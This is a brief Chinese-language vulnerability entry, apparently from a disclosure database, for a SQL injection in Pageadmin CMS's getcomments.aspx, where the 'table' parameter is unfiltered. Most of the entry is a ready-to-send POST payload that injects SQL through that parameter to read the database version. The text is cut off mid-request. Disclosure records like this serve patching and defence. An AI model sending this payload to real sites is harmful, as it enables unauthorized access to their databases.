Pageadmin CMS get_comments.aspx SQL注入漏洞

getcomments.aspx 未过滤 table 参数，造成 SQL 注入漏洞 0 v3 暂无 使用Firefox访问目标站点的/e/aspx/getcomments.aspx目录，构造POST数据包： post=add&table=pazt set id=1 where 1=0/@@version--&id=1&siteid=1&ismember=12&checked=1&content=1...